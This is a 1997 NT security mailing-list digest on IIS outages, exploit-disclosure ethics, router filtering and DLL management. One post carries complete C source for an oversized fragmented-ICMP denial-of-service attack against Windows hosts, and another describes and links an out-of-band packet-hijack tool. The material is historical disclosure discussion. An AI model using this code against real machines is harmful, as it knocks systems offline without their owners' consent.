and two new mirror sites, in London and Tokyo.

The capacity planning also must take into account forthcoming enhancements to 
the site. The expected wave of push technology that will accompany the release 
of Internet Explorer 4.0 will chew up processor time. While Microsoft has set 
up tracking mechanisms to detect abuse and to shut off particular IP 
addresses, even normal use of push technology could add a heavy load.

For many users, IIS is reliable. Windermere Real Estate's Web site in Seattle, 
for example, gets 600,000 hits a week, mostly against a database, but IS 
Director Allen Benson said that it never returns a busy signal.

Overall, though, the increasingly complex nature of the site will only make 
things tougher. As Microsoft adds more Active Server Pages and scripts, for 
example, it places heavier stress on the servers. The days of simple HTML 
publishing are over, from Microsoft's perspective.

"We're not just publishing boxes of information," said Kanook. "We're running 
scripts, and that means we're starting to run code."

David LeBlanc at ISS wrote:

> I'm not at all convinced it was required to crash Microsoft's site (or
> anyone else's) to illustrate the problem.

You are quite correct. However, it is certainly one way to definitively
pin down M$ re weaknesses in their system. They would be in no
position to deny the problem after such a display. Microsoft (in my
opinion) has deliberately attempted to obscure security shortcomings in
their product line. (Uh...if you folks at Microsoft are listening, take
notice: you need to get your hands on a new release from Macmillan. ISBN
1-57521-268-4. Read it and weep.)

However, as Mr. LeBlanc pointed out, downing a Microsoft server is indeed
an act of vandalism. And, as for distributing code prior to notifying the
vendor, that is within the realm of cracker mentality. Agreed, a lot of
people dislike M$, but distributing such code is highly irresponsible.
More and more folks are using Microsft server products these days and
basically, holes within these platforms should be treated with the same
caution as any hole on a more traditional server platform. 

O. 



On Fri, 27 Jun 1997, David LeBlanc wrote:
> I think perhaps his web page name (jihad) is a comment on that. Personally,
> I think it is only appropriate to release exploit code when the vendor has
> been notified and has had a reasonable length of time to fix the problem.
> After that, full disclosure is a good thing.

In that vein, I haven't seen any published source for carrying out the
Macintosh OOB attack from non-Apple machines. If anyone would like to
test whether they are vulnerable, download the code [joob.c] from

 http://www.sun.rhbnc.ac.uk/~phac107/

Note: This is Unix source code, and may require a little hacking to compile on
non-Linux machines. It is also possibly the most inefficient way of doing it,
and you still need to be root to get it to run...

 -- Bob

R.Tinsley@rhbnc.ac.uk Mobile: +44 973 669346

It's been my experience that it's not a question of precedence. You may
use the Account Policies settings to make passwords expire on the entire
system (or domain). If you do so, you may exempt individual accounts
from this action by setting the Password Never Expires attribute.

However, you CANNOT do the reverse; i.e. you can't globally set password
expiration off (in Account Policies) and then turn it ON for certain
accounts.

I reckon you could say that, with password expiration turned on
globally, the individual account setting takes precedence, but with the
global password expiration setting turned off, the setting on the
individual account is ignored.

David R. Bivens
Ash Grove Systems & Technologies
Atlanta, Georgia, USA
drbivens@agst.com


On Friday, June 27, 1997 11:57, David LeBlanc [SMTP:dleblanc@iss.net]
wrote:
> At 09:53 6/25/97 +0100, Mike Sheehy wrote:
> >Hi,
> >
> >Can anyone tell me which settings take precedence between the Account
> >Policies and the settings within the individual account properties,
e.g.
> >Password Never expires is present in both. I would expect the Account
> >Policies settings but need confirmation.
> 
> The individual account will take precedence, AFAIK.
> 
> -----------------------------------------------------------
> David LeBlanc | Voice: (770)395-0150 x138
> Internet Security Systems, Inc. | Fax: (404)395-1972
> 41 Perimeter Center East | E-Mail: dleblanc@iss.net 
> Suite 660 | www: http://www.iss.net/
> Atlanta, GA 30328 |
Watchguard is at fault. Port 2049 is a valid port for the operating sytem
to hand out to applications. You should only blow this port if you use NFS
inside your network.

On Fri, 27 Jun 1997, Simon Yeo wrote:

> Howdy,
> 
> Ever since we installed a new firewall(Watchguard), I've noticed some
> strange activities outside the firewall.
> 
> The Watchguard firewall automatically blocks port 2049 udp/tcp for NFS,
> and
> puts the offending host on the "blocked site" list. The problem is that I
> found two external hosts (one of them is our own SMTP server) that are
> sending ack and syn-ack tcp packets to the port 2049 of an internal host.
> This causes our SMTP server to be put on Watchguard's "blocked site" list
> and we lose connection to our own SMTP/POP server. BTW, our SMTP server is 
> running on Windows NT40/Netscape Mail. And the other offending host is a
> web server (205.147.4.5).
> 
> Any ideas? Is 2049 a valid port to be used as sending ack and syn-ack
> packets, or are we under some sort of attack (doubt it)?
> 
> Thanks in advance.
> 
> -Simon 
> 

Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5 
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 

I spoke to Todd Fast about why things went the way they went. His
statement to me was that he sincerely wanted to know whether or not the
apparent bug he had found in IIS was specific to his own IIS boxes, so
decided to test it against the MS site. A foolish decision no doubt, but
for the less security minded individual (he told me he didn't know where
to send a message saying he had found a big problem other than Info
World, I told him of CERT and CIAC and he said he didn't know who they
were) it might seem a reasonable thing to do.

Lest that sentence be mis-construed, it definitely is not a reasonable
thing to do as David points out, your site is yours, do with it as you
please, but everyone else's site is off-limits for testing unless they
specifically give you permission in writing.

This idea of Leonard's that it can somehow be justified to attack a
system across the Internet, let me remind you, attempting to disrupt the
service of any Internet presence can be illegal. International law can
make legal remedies difficult, but rest assured that you will likely
have your own Internet connection terminated in the process. Far too few
people understand or appreciate the terms and conditions they agree to
(in any country) when they purchase an Internet connection. Your ability
to connect to the Internet is not a right, it is a privilege, provided
to you through a service provider who can, and do, decide whether or not
they wish to provide you with this service.

Encouraging people to attack a net presence can similarly be construed
as illegal and also result in the termination of your connectivity.

The same freedom of speech which permits you to suggest that its Ok to
attack Microsoft's site if you feel you've been sold crappy software
must be applied to Microsoft's freedom to provide access to their
network from the Internet. You suggesting that its Ok to kick their
Internet servers is like saying its Ok for me to mail-bomb your site
because I don't like what you said.

Neither are appropriate ways of dealing with the issue, and both could
be/are illegal.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

>Can you block ports of < 1024 in R&RAS. Since a client SMTP
implementation
>will use a source port >= 1024, the rule could be:

No, you cannot provide a range for port fields.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

Joav said...
>this is basic router filter configuration, not a bug in steelhead.

So OK, this is what everyone else thought Steelhead was, and what
everyone else thought Routing and RAS did, right?

I'm the only one to be shocked to find this out, correct?

I'm the only person who looked through the documentation and came up
with the conclusion (prior to implementing) that it at least handled
reciprocal connections without a rule?

Out of curiosity, I'd really appreciate hearing from folks that have
implemented or worked with a packet filtering router (which is what
R&R/Steelhead is) that only does "basic router filtering", say, since
the beginning of 1996. How many modern packet filtering routers are
there that do this "basic router filtering"? My perception must be way
off so I need everyone's help in bringing back on target.

I've also had several comments that my expectations are only to be found
in Firewalls. Since I'm familiar with more than a few sites who only
employ packet filtering routers as their only security between their LAN
and the Internet, I find these comments very surprising. I'm not saying
that a packet filtering router is enough for everyone, but there are
sure a whole lot of people/companies who have an acceptable level of
risk with them. I wish I had a real statistic, but I would suggest that
at least 50% (probably more like 75%) of the networks connected to the
Internet are protecting themselves *solely* with packet filtering
routers.

So given that the NT in Windows NT stands for "New Technology", don't
you think that the introduction of an "Old Technology" packet filtering
router is pretty bad?

I'm not saying that R&R is missing a feature, I'm saying that without
that feature it shouldn't be used in any situation that packet filters
might be used. That, to me, makes it a bug.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

On 27 Jun 97 at 14:40, Eric Germann wrote:

> Can you block ports of < 1024 in R&RAS. Since a client SMTP
> implementation will use a source port >= 1024, the rule could be:
> 
> Filter Source IP Dest IP Protocol Source Port Dest Port 
> Output 1.2.3.4 any TCP >1024 25 
> Input any 1.2.3.4 TCP 25 >1024


No, you can only test specific port numbers not ranges. Taken
together with the lack of any way to test for established
connections and the inability to mix permits and denys, this 
certainly does seem to make the IP filtering useless in many 
common scenarios.

BTW a word for the unwary regarding the above input rule. There 
are some IP services that run on un-priviliged port numbers, and 
for this particular example you would also need to ensure that 
no such services were listening on ports >1024.

> If not, maybe they should. Cisco can...

Hmm... maybe that is why MS don't, although the story is apparently
that the RRAS IP filtering functionality is deliberately minimal 
in favour of the MS Proxy server.

Regards,

--Alan--
acr@als.co.uk
-----BEGIN PGP SIGNED MESSAGE-----

I haven't seen this topic up yet, so, here it comes:

The following program has been plaguing us. It's a variation on the large
ping bug found some months ago. Does not blue screen, instead locks up
Win95 and WinNT machines hard.

If this is already known, my apologies.

Yes, MS has been notified.

 o / o /
- -------- X snip here X-----------------------------------------------
 o \ o \
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/*
 * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
 * This is probably only Linux.
 */
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
 int s;
 char buf[1500];
 struct ip *ip = (struct ip *)buf;
 struct icmp *icmp = (struct icmp *)(ip + 1);
 struct hostent *hp;
 struct sockaddr_in dst;
 int offset;
 int on = 1;

 bzero(buf, sizeof buf);

 if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
 perror("socket");
 exit(1);
 }
 if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
 perror("IP_HDRINCL");
 exit(1);
 }
 if (argc != 2) {
 fprintf(stderr, "usage: %s hostname\n", argv[0]);
 exit(1);
 }
 if ((hp = gethostbyname(argv[1])) == NULL) {
 if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
 fprintf(stderr, "%s: unknown host\n", argv[1]);
 }
 } else {
 bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
 }
 printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
 ip->ip_v = 4;
 ip->ip_hl = sizeof *ip >> 2;
 ip->ip_tos = 0;
 ip->ip_len = FIX(sizeof buf);
 ip->ip_id = htons(4321);
 ip->ip_off = FIX(0);
 ip->ip_ttl = 255;
 ip->ip_p = 1;
 ip->ip_sum = 0; /* kernel fills in */
 ip->ip_src.s_addr = 0; /* kernel fills in */

 dst.sin_addr = ip->ip_dst;
 dst.sin_family = AF_INET;

 icmp->icmp_type = ICMP_ECHO;
 icmp->icmp_code = 0;
 icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
 /* the checksum of all 0's is easy to compute */

 for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof
*ip)) {
 ip->ip_off = FIX(offset >> 3);
 if (offset < 65120)
 ip->ip_off |= FIX(IP_MF);
 else
 ip->ip_len = FIX(418); /* make total 65538 */
 if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
 sizeof dst) < 0) {
 fprintf(stderr, "offset %d: ", offset);
 perror("sendto");
 }
 if (offset == 0) {
 icmp->icmp_type = 0;
 icmp->icmp_code = 0;
 icmp->icmp_cksum = 0;
 }
 }
}


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM7YIdKsbArBQb5xNAQEM2AP+MREUWOFpKhB/u5+fVAQ3qt7SrZPVEPE2
JLMnOFoF/2CETDY9+tKBxcp0ilM4SrSwYv/zROGVZONrmS00Xlh8gIOwpGFU9dNj
QEHPbq7xTE9Cb4DjPR0uxpWUEd5fixbdfI3B4Qiih/lG+KA8i8PjNVIha2FLEeNz
qMv6a/mcaPs=
=pRms
-----END PGP SIGNATURE-----

High God (in Egypt at least)

On Sat, 28 Jun 1997, Osiris wrote:

> However, as Mr. LeBlanc pointed out, downing a Microsoft server is indeed
> an act of vandalism. And, as for distributing code prior to notifying the
> vendor, that is within the realm of cracker mentality. Agreed, a lot of
> people dislike M$, but distributing such code is highly irresponsible.

As someone on this list already pointed out a couple of weeks ago: what is
the ping of death ? Isn't it utterly irresponsible from MS to distribute
code in massive quantity that allows any user to crash a machine with a
simple ping ?

If they didn't do it 'on purpose', it shouldn't be considered as an
unethical act. But then... what about RFC-compliance ? Correct me if I'm
wrong, but some RFC's are mandatory. IP sure is a conditio sine qua non I
thought, in order to talk about a "TCP/IP" stack ? Does it mean that MS is
ethical, but their TCP/IP stack is not ! I guess so, because TCP might not
be really mandatory, but at least they should consider to implement it
completely, including the URG-pointer...

I guess apostols.org is unethical too ?

kr=

 \\\___///
 \\ - - //
 ( @ @ )
 +---------------oOOo-(_)-oOOo-------------+
 | kris carlier - carlier@iguana.be |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion |
 | SMS: +32-75-61.43.05 |
 +------------------------Oooo-------------+
 oooO ( )
 ( ) ) /
 \ ( (_/
 \_)




Kris,

So, what is your point? MS deployed a buggy ping (not on purpose, you
admit), so it is valid to shut down their web site ? 

It is indeed plain vandalism to even try to shut down a service without
proper permission from the administrator. Period. Don't let
anti-Microsoft fanatism confuse your ethics.

- Fernando Cima
 Via Internet Informatica


> ----------
> From: Kris Carlier[SMTP:root@iguana.be]
> Reply To: Kris Carlier
> Sent: Domingo, 29 de Junho de 1997 13:19
> To: Osiris
> Cc: NT Security List
> Subject: Re: [NTSEC] Official Microsoft response to ISS denial of
> service bug
> 
> High God (in Egypt at least)
> 
> On Sat, 28 Jun 1997, Osiris wrote:
> 
> > However, as Mr. LeBlanc pointed out, downing a Microsoft server is
> indeed
> > an act of vandalism. And, as for distributing code prior to
> notifying the
> > vendor, that is within the realm of cracker mentality. Agreed, a lot
> of
> > people dislike M$, but distributing such code is highly
> irresponsible.
> 
> As someone on this list already pointed out a couple of weeks ago:
> what is
> the ping of death ? Isn't it utterly irresponsible from MS to
> distribute
> code in massive quantity that allows any user to crash a machine with
> a
> simple ping ?
> 
> If they didn't do it 'on purpose', it shouldn't be considered as an
> unethical act. But then... what about RFC-compliance ? Correct me if
> I'm
> wrong, but some RFC's are mandatory. IP sure is a conditio sine qua
> non I
> thought, in order to talk about a "TCP/IP" stack ? Does it mean that
> MS is
> ethical, but their TCP/IP stack is not ! I guess so, because TCP might
> not
> be really mandatory, but at least they should consider to implement it
> completely, including the URG-pointer...
> 
> I guess apostols.org is unethical too ?
> 
> kr=
> 
> \\\___///
> \\ - - //
> ( @ @ )
> +---------------oOOo-(_)-oOOo-------------+
> | kris carlier - carlier@iguana.be |
> | Hiroshima 45, Tsjernobyl 86, Windows 95 |
> | Linux, the choice of a GNU gener8ion |
> | SMS: +32-75-61.43.05 |
> +------------------------Oooo-------------+
> oooO ( )
> ( ) ) /
> \ ( (_/
> \_)
> 
> 
> 
> 
Hola Fernando,

> So, what is your point? MS deployed a buggy ping (not on purpose, you
> admit), so it is valid to shut down their web site ? 

no, not a buggy ping. This is something that sits in the
IP-implementation. Ping was just one of the instruments to demonstrate the
non-IP-compliance of the MS-products.
 
> It is indeed plain vandalism to even try to shut down a service without
> proper permission from the administrator. Period. Don't let
> anti-Microsoft fanatism confuse your ethics.

Mind you, I don't say everyone should nuke the ms site. Though this really
seems to be the only way (and even then...) to make MS aware of the
problem. If you want to see what I mean, read MS's reply to this kind of
problems.

But this is not what I meant to say: the point I wanted to comment on was
whether it is 'ethical' or not to distribute source- or binary code for an
exploit. This is what MS did for years... with a stack that was
supposed to be IP-compliant but wasn't. So, imvho, they are not really
in the position to blame someone else for doing so.


hasta la semana que viene !

kr=

 \\\___///
 \\ - - //
 ( @ @ )
 +---------------oOOo-(_)-oOOo-------------+
 | kris carlier - carlier@iguana.be |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion |
 | SMS: +32-75-61.43.05 |
 +------------------------Oooo-------------+
 oooO ( )
 ( ) ) /
 \ ( (_/
 \_)



At 17:01 6/28/97 +0100, Bob Tinsley wrote:
>On Fri, 27 Jun 1997, David LeBlanc wrote:
>> I think perhaps his web page name (jihad) is a comment on that. Personally,
>> I think it is only appropriate to release exploit code when the vendor has
>> been notified and has had a reasonable length of time to fix the problem.
>> After that, full disclosure is a good thing.
 
>In that vein, I haven't seen any published source for carrying out the
>Macintosh OOB attack from non-Apple machines. If anyone would like to
>test whether they are vulnerable, download the code [joob.c] from

In order to get it to run on UNIX, you have to be able to hack the sources.
Inserting a "- 1" in a strategic place in tcp.c, and recompiling Linux does
the trick. It is possible to force this to happen if you can fabricate raw
packets and can sniff yourself - I _could_ cause NT to do this, but it is a
lot of trouble.

That's the reason you haven't seen much source - it isn't especially easy to
pull off if you can't patch the kernel, and if you screw around with Linux
in order to be able to do it, you might also screw up something that depends
on MSG_OOB working differently.

Best way to detect whether you're vulnerable is to check the file time on
your tcpip.sys.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 18:19 6/29/97 +0200, Kris Carlier wrote:
>Isn't it utterly irresponsible from MS to distribute
>code in massive quantity that allows any user to crash a machine with a
>simple ping ?
 
>If they didn't do it 'on purpose', it shouldn't be considered as an
>unethical act. 

They did fix it. You can't create pings that big from the command line
after SP3.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

On Sun, 29 Jun 1997, David LeBlanc wrote:
> In order to get it to run on UNIX, you have to be able to hack the sources.
> Inserting a "- 1" in a strategic place in tcp.c, and recompiling Linux does
> the trick. It is possible to force this to happen if you can fabricate raw
> packets and can sniff yourself - I _could_ cause NT to do this, but it is a
> lot of trouble.

... and you've just described what my code does ;-)

In a little more detail:

1. Fork

2a. Parent sniffs all packets, and waits for a packet to the target
 host:port without any of the URG/RST/SYN/FIN flags set
2b. Child opens a SOCK_STREAM, waits a little for the parent to initialise,
 and connects to the target host:port

3a. Parent opens a SOCK_RAW, builds an IP packet with the appropriate
 header values, and sends it off, before closing the socket and exiting.
3b. Child waits a little more for the parent to finish before closing
 the socket and exiting.

Note that the child is only used to establish a connection which is then
hijacked by the parent, and could be left out if there is an active
third-party connection already open.

Remember: libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z) is your friend...

Regards,

 -- Bob

R.Tinsley@rhbnc.ac.uk Mobile: +44 973 669346

On Sun, 29 Jun 1997, Jiva DeVoe wrote:
> The following program has been plaguing us. It's a variation on the large
> ping bug found some months ago. Does not blue screen, instead locks up
> Win95 and WinNT machines hard.

This *is* the large ping bug found some months ago. The slightly different
effects may be explained by a different default packet-size.

Check out
 http://www.sophist.demon.co.uk/ping
and
 http://www.sophist.demon.co.uk/ping/ping.c
for the source you gave here.

Regards,

 -- Bob

R.Tinsley@rhbnc.ac.uk Mobile: +44 973 669346


Kris Carlier wrote:

>Isn't it utterly irresponsible from MS to distribute
> code in massive quantity that allows any user to crash a machine with a
> simple ping ?

That is probably an untenable position in "real-life", but it has some
merit. Considering the organizational and development resources at their
disposal (and considering the vast market share they now hold), it would
seem to be "irresponsible," yes. This is especially so because their
platform is now becoming a popular one to host sites. However, at least
in my opinion, this is vastly different from someone undertaking a
malicious act. There is some malice (however minute) in deciding to down
someone's server. There was probably no malice (though perhaps some
"negligence", though not in the legal sense) in M$ failing to distribute
clean, viable, safe code. But...it is to be expected that many holes
will continue to emerge from M$ platforms. Clearly, Microsoft does not
have the enormous wealth of experience that the UNIX vendors do
regarding these issues. (Though, to be fair, even today, we still see
buffer issues on a regular basis. Bounds checking is still not practiced
religiously and this is extraordinary considering the fact that Spafford
expressed discontent with exactly the same situation, only months after
the Worm. From that day to this, the problem has survived. So, with
reference to Microsoft's obvious shortcomings - at least shortcomings in
my opinion - I think patience is the best policy.) But, no...I do not
believe that the same ethical yardstick can be used here. Vandalism is
vandalism, no matter who the target. Ethics, if we are to have them at
all, must remain relatively static.
At 03:05 AM 6/29/97 +0100, Alan C. Ramsbottom wrote:
>> If not, maybe they should. Cisco can...
>
>Hmm... maybe that is why MS don't, although the story is apparently
>that the RRAS IP filtering functionality is deliberately minimal 
>in favour of the MS Proxy server.
>

Actually, it may be because they based Steelhead on Bay technology. Never
met a Bay router I liked...


>Regards,
>
>--Alan--
>acr@als.co.uk
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
Over the past two weeks we have been up and down due to DNS problems
associated with moving our site. Many of you have depended upon our NT
security page and we appologize for the problems. Things seem to be
stabilized in our new home and we appreciate your patience. Welcome back to
the information security site at www.versalink.com.

We offer links to security resources, computer forensics and intrusion
management, links to numerous library resources for white papers, text
files, etc. as well as the NT links and links to the President's council on
protecting the information infrastructure.

--P

Peter Stephenson,
InfoSEC Technologies
If you continue the path you're taking, you'll get where you were going.


A port scanner is a handy tool for detecting listening TCP ports.
Does anyone know of a tool to list all the named pipe endpoints available on a local or remote NT host?

Cheers,
Dave Meibusch

-----------------------------------------------------
Dave Meibusch
ph. 0411 50 68 69 (Australia +61) 
d.meibusch@abm.com.au

>Date: Fri, 27 Jun 1997 11:56:48 -0400
>From: David LeBlanc 
>Subject: Re: [NTSEC] Installing programs on NT Workstation

>At 11:04 6/16/97 -0500, Steve Sutton wrote:
>>Like most people seem to be, I'm uncomfortable about the great
>>intermingling of highly sensitive files and the "chaff" that seems to
>>clutter SYSTEM32 and its neighborhood. (Although I grant that the WINNT

>I'd almost go as far as to suggest that NT 5.0 use a different tree for the
>actual OS system files, and let the existing systemroot tree be a throwaway.

I agree with this.
Most of the problems steam from application shared libraries.
A seperate directory should exist for these.
I have heard that MS is considering forcing applications store
their runtime dll's in the application directories. i.e. MFC42.dll,
MSVCRT2.dll etc. I feel this is going to far. Imagine having 10+ copies
of exactly the same dll's sitting in 10+ directories. You may has well
tell developers that all of their programs must be statically linked.

The Winnt and System32 directories should only be updated via a system
service that checks versions and digital signatures prior to moving
the relevant files into the system areas.

While I am at it why are the Profiles stored under the winnt directory?
Why aren't they stored under \profiles.
By putting the users "Personal" path under the winnt directory you
are inviting them to vist (and modify) files within the winnt directory!

michael@ecel.uwa.edu.au

On Mon, 30 Jun 1997, Michael Simmons wrote:

> I have heard that MS is considering forcing applications store
> their runtime dll's in the application directories. i.e. MFC42.dll,
> MSVCRT2.dll etc. I feel this is going to far. Imagine having 10+ copies
> of exactly the same dll's sitting in 10+ directories. You may has well
> tell developers that all of their programs must be statically linked.

This is just plain bad. Dynamic libraries are a good idea, but they
are also hard to manage and deal with in many ways. Microsoft has
a very bad record in this area. New versions of libraries aren't
always compatible with applications designed with older versions, and
I get the distinct impression that the potential security issues haven't
been fully addressed either.

As with so many other things Microsoft has done, it sounds like they
are trying to apply a big bandaid to 'fix' a component that either needs
to be discarded or put through a major redisign. They really need to 
put a lot more thought into what they decide to run with. It would
make all our lives a lot easier. It would also save them a ton of money
which would no doubt make their stock holders happy.

-
Mike Miller
mke@llnl.gov 
 "Email, the ultimate push technology."
speaking for myself.

Yes, patched machines are vulnerable. That's all the code I have, however,
it appears I made a mistake and included a version I was working on for
Windows, just take out winsock2.h from the includes and it should compile
under linux.

At 11:21 AM 6/29/97 -0400, you wrote:
>Hi,
> I just saw your alert regarding the DoS against Win95/NT machines,
>but the code that was mirrored to bugtraq was incomplete.. I was wondering
>if I could have a copy of the code that exploits this hole (I run a whole
>slew of 95/NT machines here! :( Also, are machines that have been patched
>for the original nuke still vulnerable to this bug? if so, this is a
>serious problem =(
>thanks
>Pat
>
>
>
On Monday, June 30, 1997 00:53, Michael J. Miller Jr. wrote:
> On Mon, 30 Jun 1997, Michael Simmons wrote:
> 
> This is just plain bad. Dynamic libraries are a good idea, but they
> are also hard to manage and deal with in many ways. Microsoft has
> a very bad record in this area. New versions of libraries aren't
> always compatible with applications designed with older versions, and
> I get the distinct impression that the potential security issues haven't
> been fully addressed either.
> 

That's why Unices use version numbers on the shared libraries. Apps are linked
to a lib marked with a major and minor version number. At execution time,
the app (or the loader) looks for versions of the library with the same major 
and the highest minor number, presuming that changes in the minor number are 
"non-fatal", but changes in the major number are.

MS tracks major revisions sometimes by giving the libraries new names (MFC42.DLL).
Revisions that don't go along with name changes fail badly (as seen with the
current transition from MSVC 4.2 to 5.0). Bad enough, some libs always have the 
same name, regardless of any revisions, and then all hell breaks loose.

Some OS support for version-controlled linking, version-controlled installation
of "system libraries" in /winnt and a separate /usr/lib for user libraries would 
help us all very much.

My $0.02.

Nils
-- 
Cornelis van der Laan, Trados Corporation
EMail: nils@trados.com
Well, the problem is that AVTunnel 96 is somewhat confused when operated on a NT4 platform. If you install it on NT3.51 you will not have any problems. AVT 96, in my opinion, should be avoided on NT4.

However there is a fix for this, and it includes a registry tweaking, as always. 

You should be aware of the fact that AVT96 has some problems with UDP over the tunnel (that is, the tunneled UDP). It calculates the checksums wrong so you are going to have problems with UDP.

If you can, you should use AVT97.

/Mattias

Mattias Lindström +46 (0)8 445 1842, +46 (0)8 445 1801 (fax)
Information Highway AB +46 (0)70 630 4835 (mobile)
Torget 1, Box 1507 mattias.lindstrom@infohwy.se
172 29 Sundbyberg 
SWEDEN http://www.infohwy.se


-----Ursprungligt meddelande-----
Från: Ruben Sajnovetzky [SMTP:ruben@is.com.ar]
Skickat: den 27 juni 1997 23:11
Till: ntsecurity@iss.net
Ämne: [NTSEC] Altavista Software with Service Pack 3

Hi all !

I'm in a trouble useing Altavista Firewall/Tunnel and I'm not shure if
they work fine with SP3.

The configuration is:

 Machine 1 : Windows NT 4.0 + Service Pack 3 + Altavista Firewall 96
(v1.1)
 Machine 2 : Windows NT 4.0 + Service Pack 3 + Altavista Tunnel 96

Apparently, the Tunnel Software doesn't work on this platform or (at
last) has problems. Also, it doesn't work without Firewall in the
middle.
I'd tested fine the trial version but before SP3, does anyone know
something about this new "feature" of the Service Pack 3 ??

Thanks !



-- 

Saludos
Ruben Sajnovetzky - ruben@is.com.ar
This still works on NT4 SP3 machines. If it's the same as the large ping
(yep, I checked your links, and that's the code alright) then something has
reopened that hole.

At 09:55 PM 6/29/97 +0100, Bob Tinsley wrote:
>This *is* the large ping bug found some months ago. The slightly different
>effects may be explained by a different default packet-size.
>
>Check out
> http://www.sophist.demon.co.uk/ping
>and
> http://www.sophist.demon.co.uk/ping/ping.c
>for the source you gave here.
>
>Regards,
>
> -- Bob
>
>R.Tinsley@rhbnc.ac.uk Mobile: +44 973 669346
>
>
>
Paul Leach writes:
> Someone (sorry Paul dropped the attribution) said:
> > What concerns me most is the concept of "good enough
> > software" and its seeming embrace by Microsoft. While this may be
> > fine
> > for most appliations, what does "good enough" for a mission critical 
> > server mean?
>
> Some of our criteria: that it can not be made to crash by any message
> sent to it over the net, or corrupt or lose data; there must be no
> resource leaks that cause an eventual reboot to be required.

Well, they seem like sensible targets. Now all you need to do is start
hitting the buggers. You should probably also add: Must not leak
information to the 'net that the user wants to keep private. Okay,
that one's a lot harder to do, but it's just as important.

-- 
Piers Cawley -- Systems Genie for Aladdin
If a `religion' is defined to be a system of ideas that contains
unprovable statements, then Godel taught us that mathematics is not
only a religion, it is the only religion that can prove itself to be
one. -- John Barrow
At 22.31 97-06-28, Michael Nelson wrote:

>The dynamic RPC port range can be restricted by adding the following named
>values under the HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet
>registry key (which will probably need to be created, it doesn't exist by
>default):

This is one of the things I really dislike about NT; lot's of stuff that's
in the registry are things you'd probably want to change, IF you knew the
option existed! Programs/drivers should not have default actions that are
unknown (i.e. doesn't show in the registry), IMHO.

What can the reasons be NOT to include all changeable options in the
registry? Size of the registry too big? Possibly. Manageability? No, it's
already too big and clunky for that argument to hold. Security? Hopefully
not...

//Andreas

-----------------------------------------------------------------------
 "It's nice to be important but it's more important to be nice"

Andreas Lundgren E-mail: atoalu2@ato.abb.se I speak only
ABB Atom AB for myself.
Dept: AUS Phone: +46 (0)21 347506
S-721 63 Vasteras Fax: +46 (0)21 347088
Sweden Cellular +46 (0)70 5884411

-----------------------------------------------------------------------


>From the horses mouth.....

----------
From: Mark Russinovich[SMTP:mark@osr.com]
Sent: Saturday, June 28, 1997 3:32 PM
To: tfelts(contr-mis)
Subject: Re: Question


Hi Tom,

Thanks for your vote! Unfortunately, all I'm able to say is that we took
the site down voluntarily and have no further comment. Stay tuned to
ntinternals in the next few weeks for any further developments.

Thanks for your inquiry,

-Mark

----------
> From: tfelts(contr-mis) 
> To: 'mark@osr.com'
> Subject: Question
> Date: Saturday, June 28, 1997 1:06 PM
> 
> Ok,
> I won't ask when, but I will ask Why? This was THE best site for 
> NT info.........
> 
> Tom Felts
> Supporting the DARPA NT Community.....
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.2
> 
> mQCNAzK4PGAAAAEEAMVn5k+fXblHUAkf6odpgStx3KU75nq/16Gd2qQ2rikniZ0H
> wV3dO+3CmKJdhmitnt43f9cDhLwfZNUBubGa4+MLeW2JrjC+OPKYIrwFePRwAvx7
> kbBM8fZuvunhU4hwsF3ujHtGe9nN1t2iNWeCPEo3YyJhgH4k/hs9JVnWq+ZZAAUR
> tBpUb20gRmVsdHM8dGZlbHRzQHNuYXAub3JnPg==
> =fQfb
> -----END PGP PUBLIC KEY BLOCK-----
> 
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzK4PGAAAAEEAMVn5k+fXblHUAkf6odpgStx3KU75nq/16Gd2qQ2rikniZ0H
wV3dO+3CmKJdhmitnt43f9cDhLwfZNUBubGa4+MLeW2JrjC+OPKYIrwFePRwAvx7
kbBM8fZuvunhU4hwsF3ujHtGe9nN1t2iNWeCPEo3YyJhgH4k/hs9JVnWq+ZZAAUR
tBpUb20gRmVsdHM8dGZlbHRzQHNuYXAub3JnPg==
=fQfb
-----END PGP PUBLIC KEY BLOCK-----

